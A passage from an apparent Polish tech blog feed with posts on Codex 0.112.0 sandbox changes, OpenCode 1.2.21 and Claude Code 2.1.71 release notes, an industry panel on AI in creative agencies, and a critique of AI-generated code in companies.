W skrócie: kiedy Codex uruchamia narzędzie systemowe lub skrypt, robi to w izolowanym środowisku (sandboxie). Dotychczasowe, oddzielne profile uprawnień zostały teraz scalone z główną polityką sandboxa dla danej operacji. Daje to bardziej spójny, addytywny (czyli kumulujący uprawnienia tylko w razie potrzeby) i przede wszystkim bezpieczniejszy model przyznawania dostępu. Sandbox stał się surowszy i bardziej przewidywalny, co minimalizuje ryzyko nieautoryzowanych działań podczas automatycznego wykonywania poleceń.

Ta zmiana (o numerze #13496) pokazuje, że twórcy Codexa traktują bezpieczeństwo poważnie, szczególnie w kontekście agenta, który ma bezpośredni dostęp do systemu i może wykonywać polecenia. Jest to niezwykle istotne dla deweloperów i zespołów DevOps, którzy powierzają Codexowi automatyzację wrażliwych części workflow.

Stabilność i izolacja: poprawki pod maską

Oprócz dwóch flagowych funkcji, wydanie 0.112.0 naprawia szereg błędów i wzmacnia system. To właśnie te poprawki często decydują o tym, czy narzędzie jest po prostu dobre, czy też można na nim polegać w codziennej pracy.
- Naprawiono obsługę stanu JS REPL*. REPL (Read-Eval-Print Loop) to interaktywne środowisko do uruchamiania kodu JavaScript, a problemy z zarządzaniem jego stanem mogły prowadzić do niespójnych wyników lub błędów. Teraz funkcja ta działa poprawniej.
Kluczową poprawką jest też bezpieczne zamykanie serwera (graceful shutdown). Gdy aplikacja serwerowa Codexa otrzymuje sygnał SIGTERM (standardowy sygnał zamknięcia), traktuje go jak naciśnięcie Ctrl-C. Dzięki temu połączenia WebSocket zamykają się w uporządkowany sposób, a nie są gwałtownie przerywane. Pozwala to uniknąć potencjalnego uszkodzenia danych i zapewnia stabilność.

Wzmocniono także bezpieczeństwo przesyłania obrazów w JS REPL. Funkcja emitImage została „utwardzona” i teraz akceptuje wyłącznie adresy URL zaczynające się od data:. Blokuje to możliwość przesyłania obrazów z zewnętrznych, potencjalnie niebezpiecznych źródeł, zamykając kolejną ewentualną lukę.

Usprawnienia dla różnych systemów operacyjnych

Codex rozwija się jako narzędzie wieloplatformowe, stąd poprawki dotyczące specyfiki różnych systemów.

W przypadku Linuxa usprawniono izolację za pomocą bubblewrap (narzędzia do tworzenia sandboxów). Poprawka (#13624) zapewnia, że przestrzenie nazw użytkownika (user namespaces) nie są współdzielone, co gwarantuje silniejszą izolację. Działa to niezawodnie nawet w sytuacjach, gdy Codex jest uruchamiany z uprawnieniami roota, co jest ważne w zaawansowanych scenariuszach DevOps.

Dla użytkowników macOS naprawiono konfigurację sieci w sandboxie opartym na mechanizmie Seatbelt od Apple. Z kolei w wersji na Linuxa poprawiono ogólne ustawienia sieciowe sandboxa, aby działały bardziej przewidywalnie.

Jak to wpisuje się w szerszy obraz Codexa?

Wydanie 0.112.0 to kolejny krok po znaczących aktualizacjach z ostatnich miesięcy.

Wersja 0.111.0 włączyła domyślnie tryb Fast (szybsze, ale mniej szczegółowe odpowiedzi), dodała dynamiczne importy w JS REPL i rozszerzyła możliwości pracy z obrazami. Z kolei 0.110.0 była dużą zmianą, wprowadzającą cały system pluginów z umiejętnościami i konektorami, trwały przełącznik trybu Fast, ulepszone „wspomnienia” (memories) oraz liczne poprawki stabilności.

Codex ewoluuje z prostego, tekstowego bota do kodowania w pełnoprawny ekosystem. Kolejne wersje, jak 0.113.0, rozbudowują go dalej o zaawansowane przepływy pracy z pluginami.
- Podsumowując*, Codex v0.112.0 to aktualizacja stawiająca na praktyczność i bezpieczeństwo. Wprowadzenie wzmianek @plugin upraszcza interakcję z rosnącą biblioteką rozszerzeń, czyniąc terminalowego asystenta bardziej elastycznym. Jednocześnie głębokie przebudowanie polityki sandboxów dla zsh-fork oraz liczne poprawki stabilności świadczą o dojrzałości projektu.
Choć zmiany te nie rzucają się w oczy od razu, to właśnie takie udoskonalenia – poprawiające codzienną ergonomię i budujące zaufanie do bezpieczeństwa wykonywanych poleceń – są często najcenniejsze. Dla deweloperów, szczególnie tych zajmujących się web developmentem, AI i automatyzacją DevOps, Codex 0.112.0 oferuje płynniejsze i znacznie pewniejsze środowisko do „vibe codingu” bez wychodzenia z terminala.
2026-03-15
OpenCode v1.2.21: Lepsze Edytowanie, Naprawy Gita i Szybsze Działanie

Środowisko programistyczne OpenCode zyskało nową, stabilniejszą wersję. Wydanie 1.2.21, opublikowane 7 marca 2026 roku, skupia się na usprawnieniu codziennej pracy deweloperów, wprowadzając kluczowe poprawki i dodając nowe, przydatne funkcje do interfejsu. To aktualizacja, która „pod maską” poprawia niezawodność, a na powierzchni dodaje kilka udogodnień.

Zachowanie znaków końca linii i kluczowe poprawki

Jedna z najważniejszych, choć niedocenianych zmian, dotyczy podstawowego narzędzia edycji. Funkcja edit teraz zachowuje oryginalne znaki końca linii w modyfikowanych plikach. Dla niewtajemniczonych: systemy Windows (CRLF) oraz Unix/Linux/macOS (LF) używają różnych sekwencji do oznaczania końca linii. Automatyczna konwersja mogła powodować niepotrzebne zmiany w repozytoriach Git, psując diff i wprowadzając chaos w zespołach pracujących na różnych systemach. Ta poprawka zapewnia spójność i przewidywalność.

Zespół wprowadził również szereg innych poprawek stabilizujących i wydajnościowych, które zwiększają ogólną niezawodność środowiska, szczególnie przy intensywnym, codziennym użytkowaniu.

Wydajność i stabilność

Zadbano o lepsze zarządzanie zasobami. Wyeliminowano wycieki pamięci i zoptymalizowano działanie kluczowych komponentów. Problemy te, choć często niewidoczne na pierwszy rzut oka, stopniowo zużywały zasoby systemowe, prowadząc do spadku wydajności lub nawet awarii po długim czasie działania aplikacji. Wprowadzone naprawy znacząco zwiększają ogólną stabilność.

Nowe API i ulepszenia bazy danych

Zaktualizowano obsługę baz danych dla Drizzle. Drizzle ORM jest kluczowym elementem architektury OpenCode. Ulepszenia obejmują wprowadzenie branded ID przez schematy Drizzle, co przekłada się na większą spójność i niezawodność przechowywania danych sesji, ustawień oraz konfiguracji.

Ulepszenia interfejsu użytkownika w TUI i wersji desktopowej

W interfejsie użytkownika wprowadzono zestaw poprawek zwiększających płynność i intuicyjność działania. Naprawiono irytujące błędy związane z elementami UI, poprawiając komfort codziennej pracy.

Kontekst wydań i kierunek rozwoju

Warto spojrzeć na tę wersję w szerszym kontekście. OpenCode rozwija się bardzo dynamicznie. Analizując wcześniejsze wydania, takie jak 1.2.20 czy 1.2.19, widać wyraźny trend odchodzenia od specyficznych API środowiska Bun na rzecz bardziej standardowych rozwiązań Node.js (np. zamiana Bun.semver na pakiet npm semver czy Bun.shell na bezpośrednie wywołania spawn). Ma to na celu zwiększenie przenośności i kompatybilności kodu.

Wydanie 1.2.21 wpisuje się w ten trend, koncentrując się na stabilizacji, naprawie błędów i dopracowywaniu user experience. Nie są to rewolucyjne nowości, ale solidne udoskonalenia, które bezpośrednio wpływają na wygodę pracy.

Podsumowanie

OpenCode 1.2.21 to aktualizacja, która powinna ucieszyć każdego, kto używa tego narzędzia na co dzień. Szczególnie osoby pracujące w zespołach o zróżnicowanym środowisku systemowym docenią poprawkę związaną ze znakami końca linii. Optymalizacje wydajnościowe pozytywnie wpływają na długoterminową stabilność aplikacji.

Ulepszenia w bazie danych i interfejsie użytkownika pokazują, że rozwój idzie w dobrym kierunku: zarówno ku lepszej integralności danych, jak i ku bardziej dopracowanemu, intuicyjnemu interfejsowi. To wydanie nie rzuca się w oczy spektakularnymi funkcjami, ale właśnie takie systematyczne wzmacnianie fundamentów i usuwanie drobnych niedogodności często ma największy wpływ na satysfakcję z użytkowania oprogramowania.

2026-03-14
Claude Code 2.1.71: Nowa Komenda Loop, Lepsze Bash I Naprawy Startu
Najnowsza aktualizacja Claude Code, oznaczona numerem 2.1, przynosi zestaw funkcji, które mogą zmienić sposób, w jaki korzystasz z asystenta AI w terminalu. Wydanie skupia się na trzech głównych obszarach: automatyzacji powtarzalnych zadań, poprawie płynności pracy z powłoką Bash oraz wyeliminowaniu błędów blokujących rozpoczęcie pracy. To solidne usprawnienie, które przynosi realne korzyści deweloperom.

/loop – terminal zyskuje własny harmonogram zadań

Najciekawszą nowością jest komenda /loop. Jej koncepcja jest prosta, ale potencjał ogromny – pozwala ona na cykliczne wykonywanie dowolnego polecenia lub promptu w regularnych odstępach czasu.

Zamiast ręcznie uruchamiać te same sprawdzenia, możesz teraz ustawić je w tle. Przykład? loop 5m check the deploy będzie monitorować status wdrożenia co pięć minut. Składnia jest intuicyjna: podajesz przedział czasowy (s – sekundy, m – minuty, h – godziny, d – dni) oraz akcję do wykonania. Dla interwałów krótszych niż minuta system zaokrągla je w górę do pełnej minuty, co stanowi sensowne zabezpieczenie.

Co ważne, system ma wbudowane zabezpieczenie przed „zapomnianymi” pętlami. Każde takie cykliczne zadanie wygasa automatycznie po trzech dniach. To eleganckie rozwiązanie problemu potencjalnego marnowania zasobów. /loop przekształca Claude Code z narzędzia do pojedynczych interakcji w aktywnego asystenta działającego w tle.

Rozszerzone wsparcie Bash i mniej potwierdzeń

Drugim filarem tej aktualizacji jest znacząca poprawa doświadczeń z powłoką Bash. Zespół rozszerzył tzw. „auto-approval allowlist”, czyli listę poleceń, dla których Claude Code nie wymaga od użytkownika ręcznego potwierdzenia przed wykonaniem.

Na listę bezpiecznych, automatycznie akceptowanych komend trafiły między innymi:
** lsof – list open files** pgrep – process grep
** tput – terminal capabilities** ss – socket statistics
- fd oraz fdfind – narzędzia do wyszukiwania plików.
To głównie polecenia diagnostyczne lub odczytujące stan systemu, więc ich automatyczne wykonanie nie stanowi ryzyka. Efekt? Mniej przerw w pracy i rzadsze pojawianie się próśb o potwierdzenie. Praca w terminalu staje się płynniejsza.

Dodano też nowy, natywny moduł parsujący Bash. Choć brzmi to technicznie, przekłada się na konkretne korzyści: szybszą inicjalizację sesji oraz – co kluczowe – brak wycieków pamięci. Poprawki w parserze Tree-sitter dodatkowo eliminują fałszywe alarmy, które powodowały niepotrzebne prośby o potwierdzenie przy użyciu konstrukcji takich jak find -exec czy przypisania do zmiennych.

Koniec z zawieszaniem się przy starcie

Trzecia, może mniej widowiskowa, ale niezwykle istotna część aktualizacji to stabilizacja. Wersja 2.1 naprawia kilka krytycznych błędów, które potrafiły zablokować uruchomienie programu lub sparaliżować pracę.

Najważniejsze poprawki dotyczące startu i stabilności to:
- Naprawa blokad przy inicjalizacji trybu głosowego – usunięto problemy, które uniemożliwiały niektórym użytkownikom korzystanie z funkcji głosowych.
- Poprawki odświeżania tokenów OAuth – szczególnie dla łączników claude.ai, gdzie proces mógł zawiesić aplikację.
- Rozwiązanie problemu z zawieszaniem się przy wielu zmianach w skillach – na przykład podczas wykonywania git pull w dużym katalogu .claude/skills/.
- Optymalizacja ładowania procesora obrazów – przeniesienie tego na późniejszy etap startu, aby przyspieszyć uruchamianie.
- Lepsze zarządzanie połączeniami – bridge rekonstruuje połączenie w kilka sekund po wybudzeniu komputera ze snu, zamiast czekać nawet 10 minut.
Te zmiany sprawiają, że aplikacja startuje szybciej, jest bardziej responsywna i mniej podatna na nieoczekiwane zawieszenia.

Masa drobnych usprawnień i poprawek

Poza głównymi nowościami, wydanie 2.1 zawiera dziesiątki innych udoskonaleń. Według podsumowań to od 8 do 14 nowych funkcji oraz od 30 do 35 poprawek błędów.

Warto zwrócić uwagę na kilka z nich:
- /plan z argumentami – teraz możesz od razu przejść do trybu planowania z konkretnym zadaniem, wpisując np. /plan fix the bug.
- Przeprojektowany /config – interfejs konfiguracji został odświeżony w celu poprawy użyteczności.
- Nowa umiejętność /claude-api – dedykowane narzędzie do budowania aplikacji korzystających z API Claude.
- Caching promptów – przywrócono poprawną pracę cache’owania w SDK, co w niektórych konwersacjach może zmniejszyć koszt tokenów wejściowych nawet 12-krotnie.
- Poprawki w VS Code – lepsza responsywność przewijania, działający Shift+Enter, poprawiony wskaźnik „wysiłku” AI.
- Lepsze zarządzanie sesjami i pluginami – naprawiono błędy z instalacją pluginów, dziedziczeniem ustawień w zespołach oraz błędy przy znakach Unicode.
Drobna, ale znacząca zmiana: skrócono też interwał komendy /poll z 5 sekund do około 10 minut, redukując zbędny ruch sieciowy.

Dlaczego ta aktualizacja ma znaczenie?

Claude Code 2.1 może nie jest przełomem, ale stanowi doskonały przykład dojrzałego rozwoju oprogramowania. Zamiast wprowadzać niesprawdzone funkcje, zespół skupił się na dopracowaniu istniejących rozwiązań i dodaniu narzędzi wynikających z realnych potrzeb użytkowników.

Komenda /loop bezpośrednio odpowiada na potrzebę automatyzacji i ciągłego monitorowania. Rozszerzenie listy autoakceptowanych komend Bash to reakcja na feedback o zbyt częstym przerywaniu flow pracy. A poprawki stabilności sprawiają, że narzędzie jest po prostu bardziej niezawodne.

Wszystko to przekłada się na lepsze środowisko dla deweloperów zajmujących się web developmentem, AI, vibe codingiem, hostingiem czy DevOps. Szybszy, stabilniejszy terminal z AI, który potrafi samodzielnie powtarzać zadania i rzadziej zawraca głowę drobiazgami – to właśnie oferuje ta wersja. Aktualizacja pokazuje też szybkie tempo rozwoju Claude Code, gdzie znaczące wydania pojawiają się co kilka dni.
2026-03-13
Mity o AI w agencjach obalone: „Robię wszystko, żeby nigdy nie mówić «AI nigdy nie…»”
Podczas dyskusji branżowej poświęconej sztucznej inteligencji w branży kreatywnej, panel ekspertów postawił kropkę nad i w kilku gorących tematach. Rozmowę prowadzoną przez Steve'a Antoniewicza z The Drum uświetnili Mai Salama, współzałożycielka platformy Creative Industry Summit, oraz Max Ottignon, współzałożyciel agencji brandingowej Ragged Edge.

Ich rozmowa szybko dotknęła sedna problemu: jak agencje mają radzić sobie z technologią, której granice ciągle się przesuwają? Odpowiedź jednego z ekspertów jest zaskakująco prosta: unikać absolutnych stwierdzeń.

Nigdy nie mów „nigdy”

Max Ottignon z Ragged Edge postawił sprawę jasno. „Robię wszystko, żeby nigdy nie mówić «AI nigdy nie…»” – powiedział podczas dyskusji. Jego zdaniem, w świecie technologii i kreatywności jedyną absolutną pewnością jest zmiana. Zbyt łatwo jest dać się ponieść cyklowi hype'u lub przeciwnie – strachowi przed nowym.

Ottignon przyznał jednak, że ma twarde przekonanie co do jednej rzeczy. Algorytmy mają tendencję do spłaszczania kultury i redukowania wszystkiego do przeciętności. „Zadaniem nas, ludzi kreatywnych, jest wznieść się ponad to i tworzyć rzeczy, które są inne; które stanowią wyzwanie” – dodał.

Mai Salama zgodziła się z tą oceną. „Rzeczy będą się zmieniać; będą ewoluować, więc musimy pracować nad ewoluowaniem razem z tymi maszynami” – stwierdziła.

Czy AI stworzyło już coś wielkiego?

To było może najciekawsze pytanie panelu. Chatboty i generatywne algorytmy potrafią już produkować teksty, obrazy i muzykę w ułamku czasu potrzebnego człowiekowi. Widzieliśmy te efekty nawet w gotowych reklamach. Ale czy którykolwiek z tych outputów był naprawdę dobry?

Według obojga panelistów odpowiedź brzmi: nie.

„Widziałam wiele świetnych prac, których szczerze mówiąc nie potrafię odróżnić od AI, i widziałam te słabej jakości. Ale nie, niczego takiego, czego samabym chciała dokonać. Nic tak autentycznego jak prawdziwa, autentyczna kampania” – powiedziała Salama.

Ottignon przytaknął, zauważając, że wielu twórców używa AI celowo, aby robić rzeczy, których bez niej nie byliby w stanie zrobić. Chodzi o wykorzystanie ograniczeń technologii jako zalety. „Ale to było wykorzystanie tej różnicy, a nie próba zastąpienia tego, co już potrafimy robić” – wyjaśnił.

„«Ciekawe» to dobre słowo” – podsumowała Salama.

Czy klienci domagają się AI?

W mediach często słyszymy o oszczędnościach efektywnościowych dzięki rewolucji AI. Ale jak to wygląda w codziennych relacjach agencyjno-klienckich? Czy klienci wręcz domagają się szybszego i głębszego wdrażania AI?

Okazuje się, że wcale nie – przynajmniej nie w segmencie premium.

„Nasi klienci tak naprawdę nie proszą o to w sposób, w jaki mogłoby się wydawać” – stwierdził Ottignon. Jego agencja działa w wyższej półce rynku, a klienci przychodzą do nich po coś wysokiej jakości, co będzie wyróżniać się na tle konkurencji.

„Ludzie przychodzą do nas, bo chcą czegoś wysokokosztowego, co naprawdę przebije się dzięki jakości i wyróżniającemu charakterowi. Dlatego interesujące jest to, jak rzadko pytają nas o użycie AI. Może to się zmieni, ale teraz nasi klienci niemal postrzegają to jako negatyw, ponieważ uważają, że obecne narzędzia jeszcze tam nie są”.

Salama dodała od siebie obserwację z rynku. Widzi otwartość na te narzędzia wśród pracowników agencji – szczególnie przy produkcji – ale nie bezkrytyczne przyjęcie.

„Chcą używać narzędzi. Chcą wiedzieć o nich więcej, chcą je rozumieć, ale chcą używać ich ostrożnie, aby uniknąć braku autentyczności i trafności. Dużą częścią wygrywania projektów jest bycie trafnym względem tego skąd pochodzisz i do kogo mówisz. Posiadanie czegoś w 100% wygenerowanego przez AI a nie przez człowieka sprawia, że jest to trochę bardziej obce”.

Co z młodymi talentami?

Jeden z powszechnych lęków związanych z automatyzacją jest taki: praca młodszych kreatywów zostanie przejęta przez maszyny, co udusi dopływ talentów do branży.

Doświadczenie Ottignona pokazuje coś zupełnie innego.

„To właściwie juniorzy, młodzi ludzie przychodzą z rodzimym zrozumieniem [tych narzędzi], są znacznie bardziej zdolni do szybkiego ich opanowania” – mówi. Dlaczego? Bo oni nie mają tej inercji doświadczenia.

Czy można być optymistą?

Między redukcjami zatrudnienia a dużymi reorganizacjami firm jest sporo powodów do mniejszego optymizmu niż kiedyś.

„Łatwo być cynicznym i można zrozumieć strach oraz nerwowość wobec przyszłości ale myślę że naszym zadaniem jako ludzi kreatywnych teraz jest być optymistami objąć zmianę wyprzedzać ją mieć ten prawdziwy mindset wzrostu i cieszyć się tym Nie postrzegajmy tych rzeczy jako zagrożeń dla naszej pracy Może pewnego dnia będą Ale teraz kreatywność płynie ze zwykłej przyjemności czerpanej z nowej wolności ekspresji którą mamy”.
Ta wypowiedź Maksa Ottignona dobrze podsumowuje ton całej dyskusji. Przyszłość jest niewiadomą ale agencje które potraktują AI jako narzędzie a nie rywal lub zbawcę mają szansę tę przyszłość współtworzyć a jedynym błędem byłoby zamknięcie się na nią całkowicie.

Źródła
2026-02-26
Nie 10x szybsi, ale 10x bardziej sfrustrowani. Prezes firmy AI zdemaskował bałagan w korporacjach
Dax Raad nie jest typowym krytykiem sztucznej inteligencji. Jako współzałożyciel projektu opencode.ai i firmy anoma.ly zajmuje się AI zawodowo. Jego obserwacje z pierwszej linii frontu wdrożeniowego odbiły się szerokim echem w społeczności technologicznej.

Na platformie X podzielił się niewygodną diagnozą obecnej sytuacji w wielu firmach. Według niego panuje iluzja, że jedynym ograniczeniem rozwoju jest tempo pisania kodu. AI miałoby to magicznie przyspieszyć.

Ale prawda jest bardziej skomplikowana. A często po prostu przygnębiająca.

Kod jak śmietnik

Raad wskazał na fundamentalny problem. Firmy rzadko kiedy mają naprawdę dobre pomysły, a dawniej skrupulatna selekcja pomagała wprowadzać tylko to, co faktycznie potrzebne.

Teraz każdy może szybko wygenerować mnóstwo kodu za pomocą AI. I robi to.

W swoich wypowiedziach Raad argumentował, że używanie AI nie wiąże się z dziesięciokrotnym wzrostem efektywności. Jego zdaniem, pracownicy chcą po prostu szybciej "odbębnić swoje" i wyjść do domu.

Efekt? Lawina średniej jakości lub po prostu złego kodu, który zalewa projekty. Prawdziwym kosztem tego procesu nie są licencje na narzędzia AI.

Najlepsi sprzątają bałagan

Presja spada na wąską grupę najbardziej zaangażowanych programistów. To oni muszą później porządkować ten chaos, poprawiać błędy i utrzymywać systemy zbudowane na kiepskich fundamentach.

To ich frustruje i szybciej wypala. W dłuższej perspektywie mogą po prostu odejść z firmy, zabierając ze sobą bezcenne doświadczenie i wiedzę o systemie.

Raad dotknął też sedna problemu wielu organizacji. Prawdziwym ograniczeniem często nie jest technologia czy kodowanie, ale przerośnięta biurokracja, złe procesy decyzyjne i słaba komunikacja między działami.

AI tego nie naprawi. Może tylko przyspieszyć wprowadzanie złych decyzji.

W swojej krytyce wskazywał, że finalnie firmy zostają z dyrektorem ds. finansowych zastanawiającym się, dlaczego każdy inżynier kosztuje więcej, mimo braku wzrostu efektywności pracy.

Programiści potwierdzają: to nasza codzienność

Reakcja w sieci była natychmiastowa i pełna uznania dla trafności obserwacji. Wielu programistów rozpoznało własne doświadczenia w słowach Raada.

Na Reddicie użytkownik jamintimes stwierdził krótko: "Fragment o śmieciowym kodzie brzmi zbyt prawdziwie. Sprzątanie śmietnika po LLM-ach to moja nowa praca na pełen etat".

Inny komentator, Sad-Salt24, dodał głębszą refleksję: "AI nie zmieniła magicznie przeciętnych pomysłów w świetne, tylko ułatwiła wprowadzenie w większej liczbie tego, co już istniało. Jeśli kultura pracy była kiepska, to szybsze wyniki tylko wzmacniają bałagan".

Pojawiły się też głosy o szerszym kontekście pracy programisty. Użytkownik iscottjs opisał sytuację z nietechnicznym menedżerem zachwyconym artykułem o Spotify, gdzie chwalono się wdrażaniem funkcji z poziomu telefonu.

"A ja na to: no tak, a co z całym planowaniem, spotkaniami, testowaniem, architekturą? Z tym całym międzydziałowym syfem?" – pytał retorycznie programista.

Gdzie leży prawdziwy problem?

Obserwacje Raada wpisują się w szersze badania pokazujące brak spektakularnego wzrostu produktywności dzięki AI oraz zwiększone ryzyko wypalenia zawodowego wśród pracowników intensywnie korzystających z tych narzędzi.

Ciekawostka: sama łatwość generowania treści bywa problemem. Kiedy każdy może szybko stworzyć dokumentację, prezentację czy fragment kodu, rośnie ilość materiału do przejrzenia, skoordynowania i utrzymania.

Bez odpowiednich procesów zarządczych i kultury pracy skupionej na jakości a nie tylko szybkości, korporacje mogą faktycznie płacić więcej za… więcej bałaganu.

Nie oznacza to oczywiście, że AI jest bezużyteczna lub szkodliwa sama w sobie. Chodzi o sposób jej implementacji i nierealistyczne oczekiwania.
Narzędzie samo nie naprawi złej organizacji pracy.

Dla wielu programistów diagnoza Raada brzmi jak ulga. Ktoś ważny w branży powiedział głośno to, o czym oni rozmawiają przy kawie od miesięcy.
Tylko czy kierownicy wyższego szczebla też tego słuchają?

Źródła
2026-02-18